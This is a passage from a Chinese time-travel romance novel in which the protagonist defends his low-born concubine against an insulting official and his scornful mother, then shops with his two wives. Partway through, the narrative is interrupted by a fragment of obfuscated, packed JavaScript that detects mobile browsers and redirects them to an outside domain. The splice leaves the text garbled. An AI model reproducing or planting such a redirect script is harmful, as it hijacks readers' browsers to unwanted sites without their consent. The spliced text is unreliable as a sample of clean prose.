丁香的脸瞬间白得像纸,手指死死攥着裙摆,指甲几乎要嵌进肉里,头埋得更低了,恨不得找个地缝钻进去。 肖晨脸色骤沉,猛地攥紧拳头,刚要起身反驳,却被丁香轻轻拉住了衣袖。她抬起头,眼里满是恳求,轻轻摇了摇头——她怕肖晨为了自己,和同僚闹僵,影响前程。 肖晨看着她眼底的委屈与隐忍,心里又疼又怒,却还是强压下火气,冷着脸对王大人说:“王大人,我早已说过,我不在乎她的过去。她是我的妻子,是我肖晨认定要护一辈子的人,值得所有人尊重,不是你们用来调侃的谈资。” “尊重?”王大人嗤笑一声,一口喝干杯里的酒,语气更加放肆,“一个花船里出来的奴隶而已,天生就是伺候男人的贱货,哪配谈尊重?肖大人,您这么护着她,想必她在家里把您伺候得很舒服吧?” 这话彻底点燃了肖晨的怒火,他“腾”地站起身,手按在腰间的玉佩上,眼神冷得能结冰:“王大人,你再敢说一句侮辱她的话,休怪我不客气!” 包厢里的笑声瞬间停了,众人都没想到肖晨会为了一个“妓女出身”的女人,和同僚撕破脸。张大人连忙上前打圆场:“哎呀,王大人喝多了,胡言乱语呢!肖大人别往心里去,咱们喝酒,喝酒!” 王大人却不依不饶,甩开张大人的手:“我没喝多!我说的是实话……” 他的话还没说完,丁香突然站起身,挡在肖晨面前。她虽然浑身发抖,声音却异常清晰:“我出身花船,不是我的错;我曾受苦,也不是我愿意的。可我如今是肖大人的妻子,恪守本分、相夫教子,没做过半点对不起肖家、对不起旁人的事。各位大人若是看不起我,大可不必与我同席,但请不要用污言秽语羞辱我——我虽出身卑微,却也有做人的尊严。” 这番话让包厢里彻底安静下来。众人看着眼前这个柔弱却眼神坚定的女子,心里竟生出几分异样。肖晨也愣住了,随即快步上前,将丁香护在身后,眼神冷厉地扫过众人:“我夫人说得对,她有尊严,我更不允许任何人践踏。今日宴席就到这里,告辞!” 说完,他不再看众人的反应,牵着丁香的手,又对李傲雪递了个眼神,三人转身就走。 走出醉仙楼,晚风一吹,丁香紧绷的身子才软了下来,眼泪终于忍不住掉了下来。肖晨连忙停下脚步,轻轻抱住她:“对不起,是我没保护好你,让你受了这么大的委屈。” “公子,我没事。”丁香吸了吸鼻子,靠在他怀里,“我只是……只是不想让你为了我,和同僚闹僵。” 李傲雪也走过来,拍了拍她的背:“妹妹做得好,你没给咱们丢脸。那些人的话,本就没道理,咱们不必放在心上。” 肖晨握紧两人的手,语气坚定:“往后再遇到这种事,不用忍。有我在,谁也不能欺负你们。那些不尊重我们的人,不往来也罢。” 月光洒在三人身上,虽带着几分凉意,却也透着一股并肩而立的暖意。丁香知道,从今往后,她不再是那个只能忍气吞声的女子——她有肖晨的护佑,有李傲雪的陪伴,她可以抬起头,堂堂正正地活着,守护属于自己的幸福。 72.他要疼爱她们,不会走进爱情的坟墓 离开醉仙楼,马车缓缓驶在夜色中的街道上。车厢里很安静,丁香靠在肖晨肩头,指尖还带着刚才紧绷时的凉意,眼眶却已不再泛红——方才在众人面前说出那番话时的勇气,此刻化作了心底的底气。 肖晨轻轻摩挲着她的手背,声音放得极柔:“刚才在里面,你做得很好。往后不用怕,有我在,没人能再随意轻贱你。” 李傲雪也递过一块温热的帕子,笑着说:“妹妹方才那番话,既没失了体面,又镇住了那些人,连我都佩服你呢。那些官员和家眷,本就带着偏见来的,就算咱们忍了,他们也不会真心待咱们,倒不如像这样,堂堂正正地亮出态度。” 丁香接过帕子,擦了擦眼角残留的湿意,轻声道:“若不是有公子和少夫人在,我……我恐怕还是不敢说那些话。”她抬头看向肖晨,眼里满是依赖,“以前总觉得自己出身不好,在任何人面前都矮一截,可今日才明白,只要你们护着我,我也能有勇气,守住自己的尊严。” 肖晨心里一暖,低头在她发顶印下一个吻:“傻丫头,你的尊严,从来不是靠别人给的,是你自己挣来的。你在山寨里不离不弃,在家里尽心打理家事,对我和傲雪真心相待,这些都比所谓的‘出身’金贵百倍。” 马车很快驶回肖府。刚进院子,就见管家候在门口,手里捧着一个食盒:“少爷,少夫人,二夫人,厨房一直温着汤羹,知道你们赴宴回来,特意热了端来。” 肖晨点了点头,牵着丁香和李傲雪进了屋。仆役端上三碗红枣桂圆汤,甜香瞬间弥漫开来。丁香喝着温热的汤羹,心里的最后一点委屈也消散了——比起醉仙楼里的虚情假意和恶意调侃,家里的这碗热汤,才是真正的温暖。 第二天一早,肖晨去吏部当值,刚到衙门口,就见张大人等在那里,脸上带着几分歉意:“肖大人,昨日之事,是王某不对,也是我没拦着,让您和尊夫人受委屈了。我已经替您教训过他了,他今日一早就托我来给您赔罪。” 肖晨神色平静:“张大人不必多言,昨日之事,我不想再提。只是往后若再有此类宴席,我便不再参加了——我妻子的尊严,比所谓的‘同僚情谊’更重要。” 张大人愣了愣,随即叹了口气:“肖大人重情义,是我们不如你。往后我定会约束好家里人和同僚,绝不再让尊夫人受委屈。” 肖晨微微点头,没再多说,转身进了吏部。他知道,昨日的举动或许会让一些同僚不满,但他从不后悔——他要让所有人都知道,丁香是他的妻子,是他要护着的人,谁也不能随意轻贱。 傍晚肖晨回到家,刚进院子,就看到丁香和李傲雪在廊下做针线。丁香手里拿着一块粉色的布料,正绣着一朵盛开的丁香花,脸上带着浅浅的笑意,再也没有了昨日的怯懦。 “公子回来了!”看到肖晨,丁香连忙起身,眼里满是欢喜。 李傲雪也笑着起身:“刚好炖了少爷爱喝的鸡汤,咱们马上就能吃饭了。” 肖晨走过去,拿起丁香手里的绣品,夸赞道:“绣得真好看,比外面买的还好。” 丁香脸颊微红,有些不好意思:“我也是刚学,少夫人教了我好多针法呢。” “妹妹手巧,一学就会。”李傲雪笑着说,“等绣好了,咱们做成帕子,给你和少爷各带一条。” “好,那我就等着你的帕子。”肖晨笑着揉了揉丁香的头发,又看向李傲雪,“快别站着了,确实饿了,咱们快去吃饭。” 三人走进饭厅,仆役早已摆好碗筷,温热的鸡汤、软糯的红烧肉、清爽的时蔬摆了满满一桌。席间,肖晨时不时给李傲雪夹她爱吃的青菜,又给丁香舀了两勺鸡汤,叮嘱她“多喝点补身子”,饭厅里满是细碎的暖意。 刚放下碗筷,肖母就掀着帘子走了进来,目光先落在李傲雪身上,脸色稍缓,随即扫到丁香,瞬间沉了下来,对着肖晨劈头盖脸就是一顿说:“你昨天也是昏了头!把这个贱蹄子带去那种场合,不是明摆着给肖家丢脸吗?满座的官家夫人,谁没在背后笑话咱们?” 她顿了顿,又转向李傲雪,语气缓和了些:“幸亏有傲雪你在,举止大方,又会说话,才没让那些人看轻咱们肖家,这才是当家主母该有的风范!” 话音刚落,她又把矛头对准丁香,眼神里的轻蔑几乎要溢出来:“有些人啊,天生就是脏货,就算穿了好衣裳、跟着去了好地方,也改不了骨子里的低贱,上不得台面!往后这种宴席,你就别带着她去丢人现眼了!” 丁香握着帕子的手猛地收紧,刚平复没多久的委屈又涌了上来,她低下头,不敢看肖母的眼睛,也不敢看肖晨,只觉得脸颊发烫,浑身不自在。 肖晨脸色瞬间冷了下来,放下手里的茶盏,声音带着几分怒意:“娘!您怎么又说这种话?丁香是我的妻子,昨天在宴席上,是别人先出言不逊,她没做错任何事!我带自己的妻子赴宴,有什么丢人的?” “你还护着她!”肖母气得提高了声音,“她那种出身,就不该出现在那种场合!别人背后怎么议论咱们,你知道吗?说咱们肖家娶了个妓女,连门风都不顾了!” “门风不是靠出身定义的!”肖晨站起身,语气坚定,“丁香善良本分,对我和傲雪真心相待,比那些空有门第却心思歹毒的人强百倍!往后您再敢这么说她,就别怪我不认您这个娘!” 李傲雪也连忙上前,扶住肖母的胳膊,语气温和却带着几分劝说:“娘,少爷说得对,丁香妹妹不是您想的那种人。昨天在宴席上,她还为了维护肖家的体面,跟那些出言不逊的人据理力争呢。咱们是一家人,不该总拿她的出身说事,伤了和气。” 肖母被肖晨怼得说不出话,又听李傲雪这么说,心里虽仍不满,却也知道再闹下去,只会让儿子更反感。她狠狠瞪了丁香一眼,甩开李傲雪的手:“哼,你们一个个都护着她!我不管了,以后你们爱怎么样就怎么样,别到时候被人笑话,再来找我!” 说完,她气冲冲地转身走了。 饭厅里恢复了安静,丁香抬起头,眼里满是感激地看着肖晨和李傲雪:“公子,少夫人,谢谢你们……又让你们为了我,跟娘闹僵了。” “傻丫头,跟我们客气什么。”肖晨走过来,轻轻擦掉她眼角的泪珠,“是娘不对,跟你没关系。以后她再这么说,你不用忍,有我在呢。” 李傲雪也笑着拍了拍她的手:“是啊,咱们是一家人,互相护着是应该的。别往心里去,咱们回房歇着,明天还要一起去街上挑布料呢。” 在两人的安抚下,丁香的情绪渐渐平复下来。 李傲雪看着仍有些泛红眼眶的丁香,轻轻拍了拍她的手背,又转向肖晨:“少爷,你好好陪着丁香妹妹,我去前院看看厨房的点心备好了没,待会儿给你们送过来。”说罢,便体贴地转身离开,顺手带上了房门。 房间里只剩下肖晨和丁香两人,空气里带着几分安静的暖意。肖晨牵着丁香走到床边,帮她褪去外衫,又替自己解了衣袍,两人并肩躺下。他侧过身,轻轻将丁香揽进怀里,手掌温柔地抚过她的后背,像是在安抚受惊的小动物。 “还在难过吗?”肖晨的声音贴着她的耳畔,温热的气息拂过鬓角,“别往心里去,娘的话本就没道理,那些外人的眼光也不重要。” 丁香靠在他胸前,听着他沉稳的心跳,心里的委屈渐渐消散,却还是忍不住小声问:“公子,我真的……没有给你丢脸吗?” “当然没有。”肖晨收紧手臂,低头在她额头印下一个轻柔的吻,“在我眼里,女子从没有贵贱之分。出身是天定的,可人心是自己选的——你善良、坚韧,又对我这般真心,这就比任何门第出身都金贵。” 他顿了顿,手指轻轻梳理着她的长发,眼神里带着几分怅然,却又满是温柔:“有时候我总在想,若是你生在另一个地方,或许不用受这么多苦,能安安稳稳地长大,嫁给一个知冷知热的人,过着无忧无虑的日子,那该多好。” 他没有说“现代”,也没有提那些遥远的概念,只是将那份跨越时空的惋惜,化作了对她过往遭遇的心疼。 丁香听着,心里一暖,伸手紧紧抱住他的腰,脸颊贴着他温热的胸膛:“公子,我不觉得苦。以前在教坊司的日子是苦,可自从遇到你,我就不苦了。有你护着我,有少夫人陪着我,现在的日子,就是我这辈子最幸福的日子。” 她抬起头,眼里闪着泪光,却满是笑意:“我不用去别的地方,也不用嫁别人,我就想留在你身边,一辈子陪着你。” 肖晨看着她眼底真挚的情意,心里软得一塌糊涂。他低头,吻上她的唇,动作轻柔得像是怕碰碎了她:“好,那咱们就一辈子在一起。往后我会更努力,护着你和傲雪,让你们再也不用受委屈,再也不用听那些难听的话。” 窗外的月光透过窗棂,洒在床榻上,将两人相拥的身影拉得很长。房间里很静,只听得见彼此的呼吸声和心跳声,温暖又安稳。 丁香靠在肖晨怀里,渐渐闭上了眼睛。她知道,往后的日子或许还会有风雨,但只要有他在身边,她就什么都不怕了。 第二天清晨,天刚蒙蒙亮,肖晨就醒了。身旁的丁香还睡得安稳,眉头却微微蹙着,想来是昨晚的事还在让她挂心。他轻轻抚平她的眉峰,又看了眼另一侧早已醒转、正悄悄整理衣襟的李傲雪,眼底漾起温柔的笑意。 等三人洗漱妥当,肖晨提议道:“今日我休沐,咱们别在府里用早膳了,去街上尝尝那家‘张记包子铺’的包子,听说他家新出了荠菜鲜肉馅,味道极好。” 李傲雪和丁香都笑着应了。尤其是丁香,长这么大,除了在教坊司和山寨,几乎没怎么逛过京城的早市,眼里满是期待。 三人换上便服,肖晨牵着丁香,李傲雪跟在身侧,慢慢走在晨光中的街道上。早市早已热闹起来,卖包子的吆喝声、磨豆浆的石磨声、孩童的嬉笑声交织在一起,满是烟火气。 “张记包子铺”就在街角,刚到门口,就闻到浓郁的肉香和面香。肖晨找了个靠窗的小桌坐下,点了两笼包子、三碗甜豆浆,又加了一碟凉拌小菜。 包子刚端上来,热气腾腾的,丁香小心翼翼地咬了一口,荠菜的清香混着肉汁在嘴里散开,眼睛瞬间亮了:“公子,这个包子好好吃!” 肖晨看着她欢喜的模样,心里暖暖的,又给她夹了一个:“喜欢就多吃点,不够咱们再点。” 李傲雪也笑着说:“确实比府里的包子鲜,下次可以让厨房学着做。” 吃着早饭,肖晨望着窗外往来的行人,忽然感慨道:“以前我总想着,要是能和喜欢的人一起逛街、吃路边的小吃,不用管朝堂的事,不用想规矩束缚,该多好。现在有了你们,每天能这样待在一起,倒像是做梦一样。” 他顿了顿,想起现代的日子,嘴角勾起一抹笑意:“我要是跟我的好友说,我娶了你们两个这么好的妻子,他肯定会吓一跳,说不定还会跟我闹着要见你们。” 李傲雪好奇地问:“少爷常提这位朋友,却从没让我们见过,是住在京城外吗?什么时候能请他来府里坐坐,咱们也好尽尽地主之谊。” 肖晨的心猛地一跳,手里的筷子顿了一下。他想起现代的闺蜜子涵——那个总是跟他吐槽剧情、一起打游戏的女孩,若是让她知道自己在古代娶了两位夫人,怕是真的会惊掉下巴。可他不能说,不能提“现代”,更不能说自己原本是女儿身,只能找个借口掩饰:“你们……暂时不能见他(她)。” 他避开李傲雪的目光,拿起豆浆喝了一口,才缓缓道:“子涵那个人,性子像个孩子,占有欲强得很。他要是见了你们,知道我把心思都放在你们身上,肯定会吃醋,说不定还会闹脾气,说我有了妻子就忘了他,往后都不跟我玩了。” 这话半真半假,既掩饰了不能见的真相,又带着几分玩笑的语气,倒不让人起疑。 李傲雪听了,忍不住笑了:“原来少爷的朋友这么有趣?那倒真要等他消了气,再请他来府里,我和丁香妹妹好好跟他说说,让他别吃咱们的醋。” 丁香也跟着点头:“是啊公子,咱们可以请他吃少夫人做的点心,他肯定会喜欢的。” 肖晨看着两人认真的模样,心里又暖又涩。他知道,这个关于“子涵”的秘密,或许会藏一辈子,但没关系——眼前的人是真实的,这份安稳的幸福也是真实的。他伸手,分别握住两人放在桌上的手,笑着说:“好,等以后有机会,一定让你们见见他。不过现在,咱们先好好逛逛街,听说前面的绸缎庄新到了一批蜀锦,正好给你们做两身新衣裳。” 从包子铺出来,肖晨带着李傲雪和丁香直奔前面的“锦绣阁”。绸缎庄里各色布料堆得像小山,蜀锦的艳丽、苏绣的精致、杭绸的顺滑,看得人眼花缭乱。 肖晨让掌柜的把新到的蜀锦都拿出来,亲自替李傲雪挑了匹正红色的,又给丁香选了匹淡紫色的:“这红色衬傲雪的气质,端庄大气;这紫色柔,配丁香正合适。” 李傲雪拿着红绸在身上比了比,眼底满是欢喜;丁香摸着淡紫色的料子,指尖轻轻拂过上面的缠枝花纹,嘴角也忍不住弯了起来。 掌柜的在一旁凑趣:“肖大人好眼光,这两匹都是今年最时兴的花色,两位夫人穿上定是京城里最亮眼的。” 肖晨听了更得意,指着两人笑着说:“可不是嘛!你们这身材、这长相,比那刘亦菲、李一桐都好看多了!” 这话一出口,李傲雪和丁香脸上的笑意瞬间僵住,两人对视一眼,眼里满是茫然——“刘亦菲”“李一桐”是谁?从未听过这两个名字。 肖晨没注意到她们的神色,还在自顾自地感慨:“你们是没见过,以前多少人喜欢刘亦菲啊,要是能娶她回家,做梦都能笑醒!” 李傲雪握着布料的手紧了紧,轻声问:“少爷,你说的‘刘亦菲’‘李一桐’,是京城哪位官员的家眷吗?我们怎么从未听过?” 丁香也抬头看向肖晨,眼里带着几分不安——公子说她们比那两人好看,可又说“娶她回家做梦都笑醒”,难道公子心里还念着别人? 肖晨这才反应过来自己失言,连忙收住话头,笑着打圆场:“嗨,我说的是以前听来的戏文里的人物,都是编出来的,哪是什么真实的人!我就是觉得,那些戏文里的美人,都比不上你们俩。” 他伸手揉了揉丁香的头发,又拉过李傲雪的手,语气格外认真:“在我心里,你们才是最好看的,也是我这辈子最想好好守着的人。那些戏文里的角色,哪有你们半分好?” 李傲雪见他眼神真挚,心里的疑虑渐渐消散,嗔怪地瞪了他一眼:“少爷净说些没头没脑的话,吓我一跳。” 丁香也松了口气,脸颊微红,小声说:“公子以后别再说别人了,我……我只要公子觉得我好看就够了。” “好,好,不说了。”肖晨连忙应下,又对掌柜的道,“这两匹布都包起来,再按两位夫人的尺寸,让绣娘绣上最好看的花纹,越快越好。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206966|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >付了钱,提着布料走出绸缎庄,肖晨还在暗暗庆幸自己反应快——差点把现代的明星说漏嘴,要是真被追问起来,可就解释不清了。 他拉着两人的手,笑着转移话题:“前面还有家首饰铺,咱们去给你们挑两支簪子,配新衣裳正好。” 李傲雪和丁香笑着点头,刚才的小插曲很快被抛在脑后。阳光正好,街道上人流熙攘,三人并肩走着,手里提着新布料,心里装着满满的暖意——那些陌生的名字不重要,重要的是,身边这个人,心里装着的是自己。 三人提着布料,慢悠悠地走在青石板路上。阳光透过树叶的缝隙,洒下斑驳的光影,肖晨看着身边一左一右的身影,心里满是安稳,忍不住开口感慨:“能有你们这样爱着我,体谅我,我真是觉得这辈子值了。” 他顿了顿,想起现代社会里听过的那些婚姻琐事,语气里多了几分庆幸:“以前我也想过成家的事,可一想到日子要过得鸡飞狗跳——女人要像个免费的保姆,操持家务还得赚钱,男人呢,又要算计彩礼多少,斤斤计较。” “运气好的,能遇到个懂得体谅的,日子还能过;要是运气不好,遇到那种自私的,不仅不心疼人,说不定还会想着法儿地‘吃绝户’,把女方家的东西都占了去。” 他越说越投入,没注意到李傲雪和丁香脸上的困惑:“更别说还要防着外面的人,今天担心对方找小三,明天怕对方出轨,那样的日子,简直能把人逼疯。哪像现在,咱们三个在一起,安安稳稳的,多好。” 这番话落定,身边却没了回应。肖晨转头一看,只见李傲雪皱着眉,丁香更是满脸茫然,两人眼里满是“听不懂”的疑惑。 李傲雪先忍不住开口:“少爷,你说的‘免费的保姆’‘赚钱养家’是什么意思?咱们家里有仆役打理家事,哪里需要女子去做这些?还有‘彩礼’‘吃绝户’‘小三’,这些词……我怎么从未听过?” 丁香也跟着点头,小声问:“公子,‘出轨’是出什么事了吗?是不是路上有危险?” 肖晨这才猛然回过神——他又把现代的观念和词汇带出来了!这些话放在这个时代,她们自然听不懂。 他连忙收住话头,笑着打圆场:“哎呀,我就是刚才在绸缎庄听掌柜的聊起些外地的奇闻,随口跟你们说说,都是些没影的事,你们别往心里去。” 他怕两人再追问,连忙转移话题,指着前面不远处的首饰铺:“你们看,前面就是那家‘玲珑阁’,听说他家新到了一批珍珠钗,咱们去看看,给你们各挑一支,配今天买的新布料正好。” 李傲雪和丁香虽仍有疑惑,但见肖晨不愿多提,也识趣地不再追问,顺着他的话看向首饰铺,眼里渐渐泛起欢喜。 走进首饰铺,肖晨让掌柜的拿出最好的珍珠钗,亲自替李傲雪选了支嵌着圆润东珠的,又给丁香挑了支缀着小珍珠的,分别插在两人发间:“你看,多好看,比刚才说的那些奇闻趣事有意思多了。” 看着两人在铜镜前笑意盈盈的模样,肖晨暗暗松了口气——还好及时转了话题,不然还真不知道该怎么解释那些跨越时空的词汇。 其实他没说出口的是,正是因为见过现代婚姻里的一地鸡毛,才更珍惜现在这份简单纯粹的感情——没有算计,没有猜忌,只有彼此的真心相待。这份安稳,才是他这辈子最想要的幸福。 肖晨看着镜中李傲雪和丁香笑眼弯弯的模样,心里却忍不住想起现代那些令人窒息的片段,语气不自觉地沉了几分:“其实方才说的那些,也不全是外地奇闻——以前我听过不少关于‘成家’的糟心事,有人为了所谓的‘彩礼’,用□□糊弄女方;有人把婚姻当成算计的工具,只想着从对方身上捞好处;还有人逼着女子怀孕,就为了让女方家倒贴财物。” 他想起电影《消失的她》里的剧情,后背甚至泛起一丝凉意:“更有甚者,为了钱、为了利益,能对自己亲近的人下狠手,做出些伤天害理的事。那样的‘家’,哪里有半分温暖,简直像个吃人的坑。” 李傲雪和丁香听得脸色微变,虽不完全懂“彩礼”“倒贴”的具体意思,却能感受到他语气里的沉重。李傲雪轻轻握住他的手:“少爷说的这些人,也太狠心了吧?既然成了一家人,怎么能这般算计?” “就是因为没把对方当成家人,才只想着自己的利益。”肖晨叹了口气,眼神却变得坚定,“我一直觉得,若是心里没了情意,不愿再一起过了,大大方方分开就是,何必要用算计、伤害的方式?就像咱们现在这样,心里装着彼此,凡事多为对方着想,日子才能安稳长久。” 他低头看着两人,语气温柔下来:“幸好,我遇到的是你们。没有那些乱七八糟的算计,只有真心相待,这样就够了。” 丁香靠在他胳膊上,小声说:“公子放心,我和少夫人都会好好待你,咱们永远不分开,也不会让那些糟心事找到咱们。” 李傲雪也点头:“是啊,咱们一家人好好的,互敬互爱,比什么都强。那些坏人和糟心事,离咱们远远的。” 肖晨握着两人的手,心里的沉重渐渐被暖意取代。现代的那些黑暗让他恐惧,却也让他更珍惜眼前的幸福——没有利益纠葛,没有人性扭曲,只有三个真心想在一起的人,守着一份简单的安稳。 他笑着抬手,替两人理了理发间的珠钗:“走,咱们再去前面的点心铺买些桂花糕,回去给娘也带些,省得她又念叨咱们只顾着自己玩。” 三人说说笑笑地走出首饰铺,阳光依旧温暖,街道上的喧闹也变得亲切起来。 他们买完点心,提着点心匣子往家走,阳光把影子拉得长长的。肖晨走在中间,时不时侧头看一眼身边的丁香——她手里攥着点心匣子的系带,指尖还带着几分紧张,想来还在记挂肖母的态度。 肖晨放慢脚步,轻轻碰了碰她的胳膊,语气软下来:“丁香,往后我会多跟娘沟通,尽量让她少为难你。你也别总把事闷在心里,要是娘或者旁人说了你不爱听的话,别往心里去。” 他顿了顿,停下脚步,认真地看着丁香的眼睛:“不管别人说什么、做什么,你都要先保护好自己,别让自己受委屈。不用因为旁人的一两句话就伤心掉眼泪,女孩子啊,只有每天开开心心的,日子才会过得更顺,人也会更精神,知道吗?” 丁香抬起头,撞进他满是关切的目光里,眼眶微微发热,却笑着点了点头:“公子,我知道了。有你和少夫人护着我,我已经不那么怕了。以后我会尽量开心些,不让你担心。” 一旁的李傲雪也笑着附和:“就是要这样!咱们日子是过给自己的,不是过给别人看的。往后我也多陪着你,咱们一起做针线、逛铺子,把那些不开心的事都抛在脑后。” 肖晨看着两人相视而笑的模样,心里暖暖的,伸手揉了揉丁香的头发:“这才对嘛。走,咱们快回家,不然点心该凉了——虽说娘对咱们偶尔苛刻,但点心总不会拒绝,说不定吃了你的心意,她对你的态度也能软和些。” 丁香握着点心匣子的手紧了紧,眼里多了几分期待:“真的会吗?” “会的。”肖晨笃定地说,“娘就是嘴硬心软,多跟她处一处,她总会看到你的好。” 三人重新启程,脚步轻快了不少。丁香走在中间,左手牵着肖晨,右手被李傲雪挽着,心里的不安渐渐散去。她知道,往后的日子或许还有磕绊,但只要身边这两个人一直护着她、陪着她,她就能笑着面对所有难题,把日子过得越来越暖。 73.对他们的祝福,突然间释怀了 回到肖府,仆役接过几人手里的布料和首饰,肖晨特意把装桂花糕的匣子递给丁香,温声说:“你把这个给娘送过去,就说是咱们特意给她买的。” 丁香握着匣子,心里虽有些发怵,却还是点了点头,跟着肖晨和李傲雪往主院走。刚到主院门口,就见肖母坐在廊下喝茶,看到丁香手里的点心匣子,眼皮都没抬一下。 “娘,这是我们在街上给您买的桂花糕,您尝尝。”丁香轻声说着,刚要上前递匣子,肖母却突然开口,语气尖刻:“让傲雪递给我就行,你个贱蹄子就不用过来了——我怕你碰过的东西脏了我的嘴。” 丁香的手僵在半空,脸色瞬间变得惨白,下意识地往后缩了缩。 肖晨见状,脸色骤沉,快步上前,一把拿过丁香手里的匣子,又伸手将她护在身后,眼神冷得能结冰:“娘,丁香是您的儿媳,是我肖晨的妻子!您说她脏,难道儿子我也脏?若是您连我都嫌脏,那这个家,我也没必要回来了!” 他说着,拉着丁香的手就要转身:“傲雪,咱们走,既然娘不待见咱们,咱们也别在这儿碍眼。” 李傲雪连忙上前,却没拦着肖晨,只是对着肖母劝道:“娘,您这话说得太重了。丁香妹妹一片心意,您怎么能这么说她?肖晨也是气急了才说这话,您别往心里去。” 肖母被肖晨的话噎住,看着他真要带着两人走,心里也慌了——她虽不喜欢丁香,却最看重这个儿子,哪舍得让他真的搬出去? 她脸色一阵青一阵白,最终还是松了口,对着肖晨的背影喊道:“行了!你别闹了!我吃还不行吗?” 肖晨停下脚步,回头看着她,语气依旧冷淡:“娘,往后您若是再这么说丁香,我就不是闹脾气这么简单了。她是我的妻子,我护着她天经地义。” 肖母没好气地哼了一声,却还是对着李傲雪道:“傲雪,把点心拿过来吧。” 李傲雪接过匣子,递给肖母,又对丁香使了个眼色,示意她别在意。丁香看着肖晨坚定的背影,心里又暖又酸,轻轻拉了拉他的衣袖,小声说:“公子,咱们别跟娘置气了,回去吧。” 肖晨这才缓和了脸色,对着肖母道:“娘,您好好吃点心,我们先回院了。”说完,便带着丁香和李傲雪转身离开。 看着三人的背影,肖母握着点心匣子,心里又气又无奈——她怎么也没想到,儿子竟会为了一个妓女出身的女人,跟自己闹到这个地步。可她也清楚,再这么闹下去,只会让儿子离自己越来越远,只能暂时作罢,拿着点心匣子回了内屋。 另一边,肖晨带着两人回到院子,刚进门就对丁香道:“以后再遇到这种事,别忍,有我在,谁也不能欺负你。” 丁香笑着点头,眼里满是依赖:“嗯,我知道了,公子。” 李傲雪也笑着说:“娘就是嘴硬,这次被你镇住了,往后肯定会收敛些。咱们先去把新布料交给绣娘,早点做出新衣裳来。” 肖晨带着李傲雪和丁香安排好新布料,回到自己的房间后,只觉得一阵突如其来的疲惫涌了上来——连日来应对朝堂、安抚家人,还要小心翼翼隐藏现代的秘密,神经一直紧绷着。他没来得及和两人打招呼,便一头躺在床上,很快就睡了过去。 迷迷糊糊间,一段陌生的记忆突然涌入脑海,原身肖晨的意识竟短暂地浮现出来。 原身的记忆里,满是对这桩婚事的抵触。他与李傲雪是自幼定下的娃娃亲,两家是世交,李傲雪出身官宦世家,父亲曾是朝中重臣,对肖家而言,这无疑是门能助他仕途的好亲事。可原身打小被父母捧在手心长大,性子带着几分娇纵和执拗,心里只有“读书考功名”的念头,甚至暗想着若能攀附皇亲国戚,往后的仕途会更顺坦。 更让他不情愿的是,李傲雪比他大三岁。在他看来,“女大三,抱金砖”的说法都是旁人的虚言,他连李傲雪的模样都没见过,只凭一纸婚约,就要把一辈子绑在一起。这婚事一拖再拖,直到他十六岁,父母以“信守承诺”为由,再也容不得他推脱,他才不情不愿地应下。 成亲那日,原身心里满是憋屈,故意在喜宴上喝得酩酊大醉,只想借着酒意逃避新婚之夜。可没想到,醉醺醺地往新房走时,脚下一滑,重重磕在了门槛上,眼前一黑便失去了意识。等他再想掌控身体时,却发现这具躯壳,早已被一个来自异世的女子灵魂占据。 这段记忆如潮水般涌过,原身的意识带着不甘与无奈,渐渐消散。肖晨猛地从床上惊醒,额头上满是冷汗,心脏还在砰砰直跳。 他坐在床边,缓了好一会儿,才理清脑海里的混乱——原来原身对李傲雪,竟有这么深的抵触,甚至连面都没见过就抗拒成亲。而自己,恰好是在原身磕晕后,意外穿到了这具身体里。 “少爷,你怎么了?是不是做噩梦了?”门外传来李傲雪的声音,紧接着,房门被轻轻推开,她和丁香端着一碗汤走了进来,看到肖晨脸色苍白,连忙上前。 肖晨抬头看向李傲雪,想起原身的记忆,心里竟生出几分愧疚——幸好原身的意识已经消散,幸好自己穿来后,是真心待她和丁香,没有辜负这份缘分。 他接过汤,喝了一口,才勉强笑了笑:“没什么,就是刚才睡沉了,做了个乱七八糟的梦。”他没有提原身的记忆,怕吓到两人,也怕破坏了现在的安稳。 李傲雪坐在床边,伸手摸了摸他的额头:“没发烧就好。是不是最近太累了?要是累了,就多歇会儿,别硬撑着。” 丁香也站在一旁,小声说:“公子要是还困,我和少夫人就不打扰你了,你再睡会儿,晚膳好了我再叫你。” 看着两人关切的模样,肖晨心里的愧疚渐渐被暖意取代。他握住李傲雪的手,又对丁香笑了笑:“没事了,有你们在,什么噩梦都忘了。” 是啊,不管原身曾有过怎样的心思,现在的他,是真心想和她们好好过日子。过去的已经过去,重要的是眼前的人,和往后的日子。他会替原身,好好守护这份缘分,也会守住自己穿越而来的幸运,让这个家,一直这么温暖下去。 原身的意识漂浮在一旁,看着肖晨握着李傲雪的手,又对丁香温柔笑的模样,心里突然涌起一阵强烈的悔意。 他从未仔细看过李傲雪——记忆里只记得“比自己大三岁”的刻板印象,却没发现她生得这般好看:眉如远山,眼含秋水,举手投足间满是大家闺秀的端庄,看向肖晨时,眼底又藏着化不开的温柔。这样的女子,是多少人求而不得的良配,自己当初怎么就因为“没见过”“年纪大”,就满心抵触? 再看肖晨——他不仅凭本事考了功名,把家里打理得井井有条,还能护着两位妻子,连母亲对丁香的刻薄都敢当面反驳。这些都是他做不到的:他以前只会埋头读书,不懂人情世故,更没勇气违背父母的意愿,若是换作他,恐怕只会任由母亲刁难丁香,也不会对李傲雪这般体贴。 可最让他怅然的,是丁香。原身从未想过,自己会让一个“妓女出身”的女子进门——在他眼里,这是天大的污点,会被同僚耻笑,会坏了肖家的门风。可此刻看着丁香安安静静站在一旁,眼里满是对肖晨的依赖,又想起她平日里帮着打理家事、对李傲雪恭敬有加的模样,他突然觉得,所谓的“出身”,好像也没那么重要。 肖晨能抛开偏见,护着丁香,能把日子过得这么暖,而自己呢?只会被规矩和面子束缚,连真心都不敢交付。 原身看着三人温馨的画面,心里像被什么堵住了——后悔吗?当然后悔。后悔自己当初瞎了眼,没看清李傲雪的好;后悔自己懦弱,做不到肖晨这般担当;更后悔自己被偏见困住,连尝试接受的勇气都没有。 